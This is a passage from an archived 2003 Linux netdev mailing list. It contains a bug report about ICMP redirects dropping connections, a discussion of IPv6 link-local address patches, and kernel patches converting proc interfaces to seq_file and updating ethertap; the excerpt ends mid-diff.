Received: from dhcp-140-192.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h82GsJo08121; Tue, 2 Sep 2003 09:54:19 -0700 Date: Tue, 2 Sep 2003 09:37:42 -0700 From: Andrew Morton To: netdev@oss.sgi.com Cc: mcousin@sigma.fr Subject: Fw: [Bugme-new] [Bug 1176] New: icmp redirect shuts connexions Message-Id: <20030902093742.20ea5d2d.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5500 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Begin forwarded message: Date: Tue, 2 Sep 2003 08:49:47 -0700 From: bugme-daemon@osdl.org To: bugme-new@lists.osdl.org Subject: [Bugme-new] [Bug 1176] New: icmp redirect shuts connexions http://bugme.osdl.org/show_bug.cgi?id=1176 Summary: icmp redirect shuts connexions Kernel Version: 2.6.0-test4 Status: NEW Severity: normal Owner: bugme-janitors@lists.osdl.org Submitter: mcousin@sigma.fr Distribution: Gentoo Hardware Environment: PIV 1.7 GHz - 1Gb ns83820 network adapter Software Environment: 2.6.0-test4. gcc version 3.3.1 (Gentoo Linux 3.3.1, propolice). glibc 2.3.2. Problem Description: Connection are dropped every time I get an icmp_redirect Steps to reproduce: Log into a server using the wrong router as your default route. You get an icmp redirect, and manage to connect. At the next icmp_redirect you receive, connexions are lost. I've tested this with having an IRC connexion to the 'mercure' machine . After about 10 minutes, I see a new ICMP redirect arriving (the route cache has expired ?) 64 bytes from mercure.sigma.fr (192.168.1.232): icmp_seq=501 ttl=252 time=0.565 ms 64 bytes from mercure.sigma.fr (192.168.1.232): icmp_seq=503 ttl=252 time=0.575 ms >From 89.133.2.200: icmp_seq=504 Redirect Host(New nexthop: fwsigma.sigma.fr (89.133.2.1)) 64 bytes from mercure.sigma.fr (192.168.1.232): icmp_seq=504 ttl=252 time=1.61 ms 64 bytes from mercure.sigma.fr (192.168.1.232): icmp_seq=505 ttl=252 time=0.596 ms from route -C : before the redirect : marc root # route -C | grep mercure marc mercure.sigma.f fwsigma.sigma.f 0 0 5 eth0 mercure.sigma.f marc marc l 0 0 4 lo marc mercure.sigma.f fwsigma.sigma.f 0 0 470 eth0 marc mercure.sigma.f fwsigma.sigma.f 0 2 5 eth0 mercure.sigma.f marc marc l 0 0 525 lo after the redirect: marc root # route -C | grep mercure mercure.sigma.f marc marc l 0 0 18 lo marc mercure.sigma.f fwsigma.sigma.f 0 0 6 eth0 marc mercure.sigma.f fwsigma.sigma.f 0 1 4 eth0 my routing table: Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 89.0.0.0 * 255.0.0.0 U 0 0 0 eth0 loopback localhost 255.0.0.0 UG 0 0 0 lo default 89.133.2.200 0.0.0.0 UG 1 0 0 eth0 My 'usual' route is via 89.133.2.200. To get to mercure, I have to get through 'fwsigma' (89.133.2.1). As soon as I get the ICMP_REDIRECT packet, the connexion to the IRC server is lost. When I add a static route to mercure via fwsigma, the problem disappears... ------- You are receiving this mail because: ------- You are on the CC list for the bug, or are watching someone who is. From vnuorval@tcs.hut.fi Tue Sep 2 09:59:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 09:59:24 -0700 (PDT) Received: from smtp-1.hut.fi (root@smtp-1.hut.fi [130.233.228.91]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82GxHWZ015395 for ; Tue, 2 Sep 2003 09:59:18 -0700 Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by smtp-1.hut.fi (8.12.9/8.12.9) with ESMTP id h82Gx8Qe022368; Tue, 2 Sep 2003 19:59:09 +0300 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 58C788001B8; Tue, 2 Sep 2003 19:59:08 +0300 (EEST) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h82Gx89s001958; Tue, 2 Sep 2003 19:59:08 +0300 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h82Gx7RM001954; Tue, 2 Sep 2003 19:59:07 +0300 Date: Tue, 2 Sep 2003 19:59:07 +0300 (EEST) From: Ville Nuorvala To: Pekka Savola Cc: "David S. Miller" , , , Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-RAVMilter-Version: 8.4.3(snapshot 20030212) (smtp-1.hut.fi) X-DCC-HUTCC-Metrics: smtp-1.hut.fi 1165; Body=6 Fuz1=6 Fuz2=6 X-archive-position: 5501 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev On Tue, 2 Sep 2003, Pekka Savola wrote: > Two comments: > > + /* try to inherit EUI64 from another device */ > + for (dev = dev_base; dev; dev = dev->next) { > + if (!ipv6_generate_eui64(addr.s6_addr + 8, dev)) { > + addrconf_add_linklocal(idev, &addr); > + return; > + > > ==> does this really inherit _EUI64_, *or* MAC address (or something like > it) to derive an EUI64? Note that there is a significant difference when > you've configured manually e.g. 3ffe:ffff:f00:ba::1 on a device, and the > case when you've auto-configured the interface identifier from the MAC > address of the device. ipv6_generate_eui64() derives the interface identifier from the MAC address on ARPHRD_{ETHER,FDDI,IEEE802_TR,ARCNET} interfaces, but doesn't do anything for other types of devices > ==> my question is: as the former method to steal an EUI64 should succeed > pretty much always, is it useful to add basically dead code which never > gets executed here? I certainly can't think of any scenario where you'd > have no interface to steal the MAC address/EUI64 from and you'd have to > fall back to random identifiers? If the node doesn't have an Ethernet (etc.) NIC it won't get a valid identifier from ipv6_generate_eui64() and has to resort to something else, for example generating a random address. An alternative would be to use ipv6_inherit_eui64(), which just copies the 64-bit suffix from the first link-local address it can find. This includes both manually and auto-configured addresses, which means the risk of duplicate addresses might be (I assume) greater than in the random address case. Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From shemminger@osdl.org Tue Sep 2 10:43:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 10:44:15 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82HheWZ018933 for ; Tue, 2 Sep 2003 10:43:41 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h82HhKo17095; Tue, 2 Sep 2003 10:43:21 -0700 Date: Tue, 2 Sep 2003 10:43:08 -0700 From: Stephen Hemminger To: chas williams Cc: netdev@oss.sgi.com Subject: [RFT] covert br2684 to seq_file Message-Id: <20030902104308.08ce3fa4.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5502 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Convert the /proc/net/atm/br2684 to seq_file interface. It builds and runs, but without any real atm hardware the table is empty... Patch is against 2.6-test4 bk latest. diff -Nru a/net/atm/br2684.c b/net/atm/br2684.c --- a/net/atm/br2684.c Tue Sep 2 10:37:52 2003 +++ b/net/atm/br2684.c Tue Sep 2 10:37:52 2003 @@ -18,6 +18,7 @@ #include #include #include +#include #include @@ -666,31 +667,57 @@ return -ENOIOCTLCMD; } -/* Never put more than 256 bytes in at once */ -static int br2684_proc_engine(loff_t pos, char *buf) +#ifdef CONFIG_PROC_FS +static void *br2684_seq_start(struct seq_file *seq, loff_t *pos) { - struct list_head *lhd, *lhc; - struct net_device *net_dev; - struct br2684_dev *brdev; - struct br2684_vcc *brvcc; - list_for_each(lhd, &br2684_devs) { - net_dev = list_entry_brdev(lhd); - brdev = BRPRIV(net_dev); - if (pos-- == 0) - return sprintf(buf, "dev %.16s: num=%d, mac=%02X:%02X:" - "%02X:%02X:%02X:%02X (%s)\n", net_dev->name, - brdev->number, - net_dev->dev_addr[0], - net_dev->dev_addr[1], - net_dev->dev_addr[2], - net_dev->dev_addr[3], - net_dev->dev_addr[4], - net_dev->dev_addr[5], - brdev->mac_was_set ? "set" : "auto"); - list_for_each(lhc, &brdev->brvccs) { - brvcc = list_entry_brvcc(lhc); - if (pos-- == 0) - return sprintf(buf, " vcc %d.%d.%d: encaps=%s" + loff_t offs = 0; + struct br2684_dev *brd; + + read_lock(&devs_lock); + + list_for_each_entry(brd, &br2684_devs, br2684_devs) { + if (offs == *pos) + return brd; + ++offs; + } + return NULL; +} + +static void *br2684_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct br2684_dev *brd = v; + + ++*pos; + + brd = list_entry(brd->br2684_devs.next, + struct br2684_dev, br2684_devs); + return (&brd->br2684_devs != &br2684_devs) ? brd : NULL; +} + +static void br2684_seq_stop(struct seq_file *seq, void *v) +{ + read_unlock(&devs_lock); +} + +static int br2684_seq_show(struct seq_file *seq, void *v) +{ + const struct br2684_dev *brdev = v; + const struct net_device *net_dev = brdev->net_dev; + const struct br2684_vcc *brvcc; + + seq_printf(seq, "dev %.16s: num=%d, mac=%02X:%02X:" + "%02X:%02X:%02X:%02X (%s)\n", net_dev->name, + brdev->number, + net_dev->dev_addr[0], + net_dev->dev_addr[1], + net_dev->dev_addr[2], + net_dev->dev_addr[3], + net_dev->dev_addr[4], + net_dev->dev_addr[5], + brdev->mac_was_set ? "set" : "auto"); + + list_for_each_entry(brvcc, &brdev->brvccs, brvccs) { + seq_printf(seq, " vcc %d.%d.%d: encaps=%s" #ifndef FASTER_VERSION ", failed copies %u/%u" #endif /* FASTER_VERSION */ @@ -711,63 +738,41 @@ #undef bs #undef b1 #endif /* CONFIG_ATM_BR2684_IPFILTER */ - } } return 0; } -static ssize_t br2684_proc_read(struct file *file, char *buf, size_t count, - loff_t *pos) +static struct seq_operations br2684_seq_ops = { + .start = br2684_seq_start, + .next = br2684_seq_next, + .stop = br2684_seq_stop, + .show = br2684_seq_show, +}; + +static int br2684_proc_open(struct inode *inode, struct file *file) { - unsigned long page; - int len = 0, x, left; - page = get_zeroed_page(GFP_KERNEL); - if (!page) - return -ENOMEM; - left = PAGE_SIZE - 256; - if (count < left) - left = count; - read_lock(&devs_lock); - for (;;) { - x = br2684_proc_engine(*pos, &((char *) page)[len]); - if (x == 0) - break; - if (x > left) - /* - * This should only happen if the user passed in - * a "count" too small for even one line - */ - x = -EINVAL; - if (x < 0) { - len = x; - break; - } - len += x; - left -= x; - (*pos)++; - if (left < 256) - break; - } - read_unlock(&devs_lock); - if (len > 0 && copy_to_user(buf, (char *) page, len)) - len = -EFAULT; - free_page(page); - return len; + return seq_open(file, &br2684_seq_ops); } static struct file_operations br2684_proc_operations = { .owner = THIS_MODULE, - .read = br2684_proc_read, + .open = br2684_proc_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, }; extern struct proc_dir_entry *atm_proc_root; /* from proc.c */ +#endif static int __init br2684_init(void) { +#ifdef CONFIG_PROC_FS struct proc_dir_entry *p; if ((p = create_proc_entry("br2684", 0, atm_proc_root)) == NULL) return -ENOMEM; p->proc_fops = &br2684_proc_operations; +#endif br2684_ioctl_set(br2684_ioctl); return 0; } From bdschuym@pandora.be Tue Sep 2 11:05:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 11:05:47 -0700 (PDT) Received: from adicia.telenet-ops.be (adicia.telenet-ops.be [195.130.132.56]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82I50WZ020297 for ; Tue, 2 Sep 2003 11:05:01 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by adicia.telenet-ops.be (Postfix) with SMTP id 9AC3F38551; Tue, 2 Sep 2003 19:32:45 +0200 (MEST) Received: from 192.168.123.138 (D5763FDE.kabel.telenet.be [213.118.63.222]) by adicia.telenet-ops.be (Postfix) with ESMTP id 5C0C4380F4; Tue, 2 Sep 2003 19:32:37 +0200 (MEST) From: Bart De Schuymer To: Stephen Hemminger , "David S. Miller" Subject: Re: [PATCH/RFC] disallow vlan devices on top of a logical bridge device Date: Tue, 2 Sep 2003 19:32:37 +0200 User-Agent: KMail/1.5 Cc: greearb@candelatech.com, netdev@oss.sgi.com References: <200308301504.03241.bdschuym@pandora.be> <20030830203043.0eb1a660.davem@redhat.com> <20030902082807.0e18fe76.shemminger@osdl.org> In-Reply-To: <20030902082807.0e18fe76.shemminger@osdl.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309021932.37224.bdschuym@pandora.be> X-archive-position: 5503 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev On Tuesday 02 September 2003 17:28, Stephen Hemminger wrote: > Bridge of a VLAN makes sense and is done. > VLAN of a bridge might be done by someone for redundancy or testing. > > Don't apply the patch, can't see the harm in allowing either case. OK. But isn't br0.15 supposed to work like this: all vlan tagged traffic with tag different from 15 is discarded, all non-tagged traffic is given to br0. This is how it works with a vlan on top of physical devices like eth0 if I read the code correctly, but it doesn't currently work like that for vlan on top of a logical bridge device. The vlan code only sees tagged packets if the packets are destined for the bridge box itself, so bridged traffic is unaffected. This is why I think a vlan device on top of br0 in Linux is currently useless. cheers, Bart From davem@pizda.ninka.net Tue Sep 2 11:25:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 11:25:13 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82IP5WZ021757 for ; Tue, 2 Sep 2003 11:25:05 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA13023; Tue, 2 Sep 2003 11:15:43 -0700 Date: Tue, 2 Sep 2003 11:15:43 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [RFT] covert br2684 to seq_file Message-Id: <20030902111543.559452dd.davem@redhat.com> In-Reply-To: <20030902104308.08ce3fa4.shemminger@osdl.org> References: <20030902104308.08ce3fa4.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5504 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 2 Sep 2003 10:43:08 -0700 Stephen Hemminger wrote: > Convert the /proc/net/atm/br2684 to seq_file interface. > It builds and runs, but without any real atm hardware the table > is empty... Looks fine to me, Chas? From shemminger@osdl.org Tue Sep 2 11:58:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 11:58:59 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82IwPWZ030873 for ; Tue, 2 Sep 2003 11:58:25 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h82IwDo03791; Tue, 2 Sep 2003 11:58:13 -0700 Date: Tue, 2 Sep 2003 11:58:00 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] af_netlink - convert to seq_file Message-Id: <20030902115800.23ebdaeb.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5505 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Convert af_netlink to use seq_file interface. Tested on 2.6.0-test4 bk latest. diff -Nru a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c --- a/net/netlink/af_netlink.c Tue Sep 2 11:56:11 2003 +++ b/net/netlink/af_netlink.c Tue Sep 2 11:56:11 2003 @@ -40,6 +40,7 @@ #include #include #include +#include #include #include #include @@ -964,62 +965,108 @@ #endif - #ifdef CONFIG_PROC_FS -static int netlink_read_proc(char *buffer, char **start, off_t offset, - int length, int *eof, void *data) +static struct sock *netlink_seq_socket_idx(struct seq_file *seq, loff_t pos) { - off_t pos=0; - off_t begin=0; - int len=0; int i; struct sock *s; struct hlist_node *node; - - len+= sprintf(buffer,"sk Eth Pid Groups " - "Rmem Wmem Dump Locks\n"); - + loff_t off = 0; + for (i=0; iprivate = (void *) i; + return s; + } + ++off; + } + } + return NULL; +} - len+=sprintf(buffer+len,"%p %-3d %-6d %08x %-8d %-8d %p %d", - s, - s->sk_protocol, - nlk->pid, - nlk->groups, - atomic_read(&s->sk_rmem_alloc), - atomic_read(&s->sk_wmem_alloc), - nlk->cb, - atomic_read(&s->sk_refcnt) - ); +static void *netlink_seq_start(struct seq_file *seq, loff_t *pos) +{ + read_lock(&nl_table_lock); + return *pos ? netlink_seq_socket_idx(seq, *pos - 1) : (void *) 1; +} + +static void *netlink_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct sock *s; + + ++*pos; - buffer[len++]='\n'; + if (v == (void *) 1) + return netlink_seq_socket_idx(seq, 0); - pos=begin+len; - if(posoffset+length) { - read_unlock(&nl_table_lock); - goto done; + s = sk_next(v); + if (!s) { + int i = (int) seq->private; + + while (++i < MAX_LINKS) { + s = sk_head(&nl_table[i]); + if (s) { + seq->private = (void *) i; + break; } } - read_unlock(&nl_table_lock); } - *eof = 1; + return s; +} -done: - *start=buffer+(offset-begin); - len-=(offset-begin); - if(len>length) - len=length; - if(len<0) - len=0; - return len; +static void netlink_seq_stop(struct seq_file *seq, void *v) +{ + read_unlock(&nl_table_lock); +} + + +static int netlink_seq_show(struct seq_file *seq, void *v) +{ + if (v == (void *)1) + seq_puts(seq, + "sk Eth Pid Groups " + "Rmem Wmem Dump Locks\n"); + else { + struct sock *s = v; + struct netlink_opt *nlk = nlk_sk(s); + + seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %d\n", + s, + s->sk_protocol, + nlk->pid, + nlk->groups, + atomic_read(&s->sk_rmem_alloc), + atomic_read(&s->sk_wmem_alloc), + nlk->cb, + atomic_read(&s->sk_refcnt) + ); + + } + return 0; } + +struct seq_operations netlink_seq_ops = { + .start = netlink_seq_start, + .next = netlink_seq_next, + .stop = netlink_seq_stop, + .show = netlink_seq_show, +}; + + +static int netlink_seq_open(struct inode *inode, struct file *file) +{ + return seq_open(file, &netlink_seq_ops); +} + +static struct file_operations netlink_seq_fops = { + .owner = THIS_MODULE, + .open = netlink_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, +}; + #endif int netlink_register_notifier(struct notifier_block *nb) @@ -1069,7 +1116,7 @@ } sock_register(&netlink_family_ops); #ifdef CONFIG_PROC_FS - create_proc_read_entry("net/netlink", 0, 0, netlink_read_proc, NULL); + proc_net_fops_create("netlink", 0, &netlink_seq_fops); #endif /* The netlink device handler may be needed early. */ rtnetlink_init(); @@ -1079,7 +1126,7 @@ static void __exit netlink_proto_exit(void) { sock_unregister(PF_NETLINK); - remove_proc_entry("net/netlink", NULL); + proc_net_remove("netlink"); } core_initcall(netlink_proto_init); From davem@pizda.ninka.net Tue Sep 2 12:07:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 12:07:11 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82J78WZ032050 for ; Tue, 2 Sep 2003 12:07:08 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA13138; Tue, 2 Sep 2003 11:57:19 -0700 Date: Tue, 2 Sep 2003 11:57:18 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] af_netlink - convert to seq_file Message-Id: <20030902115718.4f42da2b.davem@redhat.com> In-Reply-To: <20030902115800.23ebdaeb.shemminger@osdl.org> References: <20030902115800.23ebdaeb.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5506 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 2 Sep 2003 11:58:00 -0700 Stephen Hemminger wrote: > Convert af_netlink to use seq_file interface. > Tested on 2.6.0-test4 bk latest. Applied, thanks Stephen. From mitch@sfgoth.com Tue Sep 2 12:07:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 12:08:02 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82J7dWZ032225 for ; Tue, 2 Sep 2003 12:07:59 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h82JEYkV069289; Tue, 2 Sep 2003 12:14:34 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h82JEXcS069288; Tue, 2 Sep 2003 12:14:33 -0700 (PDT) (envelope-from mitch) Date: Tue, 2 Sep 2003 12:14:33 -0700 From: Mitchell Blank Jr To: Stephen Hemminger Cc: chas williams , netdev@oss.sgi.com, Francois Romieu Subject: Re: [RFT] covert br2684 to seq_file Message-ID: <20030902191433.GB67783@gaz.sfgoth.com> References: <20030902104308.08ce3fa4.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030902104308.08ce3fa4.shemminger@osdl.org> User-Agent: Mutt/1.4.1i X-archive-position: 5507 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Stephen Hemminger wrote: > Convert the /proc/net/atm/br2684 to seq_file interface. > It builds and runs, but without any real atm hardware the table > is empty... FYI - Francios Romieu has patch for converting much of net/atm/*.c to seq_file which will probably integrated soon (I think they're still working out some nits w/ Chas; not sure what the status is currently) You probably should coordinate any seq_file work in the ATM code with them to avoid any duplicated effort. -Mitch From shemminger@osdl.org Tue Sep 2 12:11:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 12:12:13 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82JBcWZ000849 for ; Tue, 2 Sep 2003 12:11:39 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h82JBRo06749; Tue, 2 Sep 2003 12:11:27 -0700 Date: Tue, 2 Sep 2003 12:11:14 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] ethertap update Message-Id: <20030902121114.4f489216.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5508 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Updates to ethertap includes these changes from viro * switched ethertap to dynamic allocation * ethertap: embedded ->priv * ethertap: fixed resource leaks on failure exits and from me * get it out of the static device list completely. * add dependency on NETLINK_DEV * not really obsolete yet * configurable number of interfaces Patch against 2.6.0-test4 diff -Nru a/drivers/net/Kconfig b/drivers/net/Kconfig --- a/drivers/net/Kconfig Tue Sep 2 12:07:05 2003 +++ b/drivers/net/Kconfig Tue Sep 2 12:07:05 2003 @@ -132,8 +132,8 @@ If you don't know what to use this for, you don't need it. config ETHERTAP - tristate "Ethertap network tap (OBSOLETE)" - depends on NETDEVICES && EXPERIMENTAL + tristate "Ethertap network tap" + depends on NETDEVICES && EXPERIMENTAL && NETLINK_DEV ---help--- If you say Y here (and have said Y to "Kernel/User network link driver", above) and create a character special file /dev/tap0 with diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 2 12:07:05 2003 +++ b/drivers/net/Space.c Tue Sep 2 12:07:05 2003 @@ -89,7 +89,6 @@ extern int bionet_probe(struct net_device *); extern int pamsnet_probe(struct net_device *); extern int cs89x0_probe(struct net_device *dev); -extern int ethertap_probe(struct net_device *dev); extern int hplance_probe(struct net_device *dev); extern int bagetlance_probe(struct net_device *); extern int mvme147lance_probe(struct net_device *dev); @@ -386,17 +385,6 @@ return 0; return -ENODEV; } - -#ifdef CONFIG_ETHERTAP -static struct net_device tap0_dev = { - .name = "tap0", - .base_addr = NETLINK_TAPBASE, - .next = NEXT_DEV, - .init = ethertap_probe, -}; -#undef NEXT_DEV -#define NEXT_DEV (&tap0_dev) -#endif #ifdef CONFIG_SDLA extern int sdla_init(struct net_device *); diff -Nru a/drivers/net/ethertap.c b/drivers/net/ethertap.c --- a/drivers/net/ethertap.c Tue Sep 2 12:07:05 2003 +++ b/drivers/net/ethertap.c Tue Sep 2 12:07:05 2003 @@ -33,7 +33,6 @@ * Index to functions. */ -int ethertap_probe(struct net_device *dev); static int ethertap_open(struct net_device *dev); static int ethertap_start_xmit(struct sk_buff *skb, struct net_device *dev); static int ethertap_close(struct net_device *dev); @@ -45,7 +44,11 @@ static int ethertap_debug; -static struct net_device *tap_map[32]; /* Returns the tap device for a given netlink */ +static int max_taps = 1; +MODULE_PARM(max_taps, "i"); +MODULE_PARM_DESC(max_taps,"Max number of ethernet tap devices"); + +static struct net_device **tap_map; /* Returns the tap device for a given netlink */ /* * Board-specific info in dev->priv. @@ -64,25 +67,29 @@ * To call this a probe is a bit misleading, however for real * hardware it would have to check what was present. */ - -int __init ethertap_probe(struct net_device *dev) +static int __init ethertap_probe(int unit) { + struct net_device *dev; + int err = -ENOMEM; + + dev = alloc_netdev(sizeof(struct net_local), "tap%d", + ether_setup); + + if (!dev) + goto out; + SET_MODULE_OWNER(dev); + sprintf(dev->name, "tap%d", unit); + dev->base_addr = unit + NETLINK_TAPBASE; + + netdev_boot_setup_check(dev); + memcpy(dev->dev_addr, "\xFE\xFD\x00\x00\x00\x00", 6); if (dev->mem_start & 0xf) ethertap_debug = dev->mem_start & 0x7; /* - * Initialize the device structure. - */ - - dev->priv = kmalloc(sizeof(struct net_local), GFP_KERNEL); - if (dev->priv == NULL) - return -ENOMEM; - memset(dev->priv, 0, sizeof(struct net_local)); - - /* * The tap specific entries in the device structure. */ @@ -94,17 +101,19 @@ dev->set_multicast_list = set_multicast_list; #endif - /* - * Setup the generic properties - */ - - ether_setup(dev); - dev->tx_queue_len = 0; dev->flags|=IFF_NOARP; - tap_map[dev->base_addr]=dev; + err = register_netdev(dev); + if (err) + goto out1; + + tap_map[unit]=dev; return 0; +out1: + kfree(dev); +out: + return err; } /* @@ -116,11 +125,12 @@ struct net_local *lp = (struct net_local*)dev->priv; if (ethertap_debug > 2) - printk("%s: Doing ethertap_open()...", dev->name); + printk(KERN_DEBUG "%s: Doing ethertap_open()...", dev->name); lp->nl = 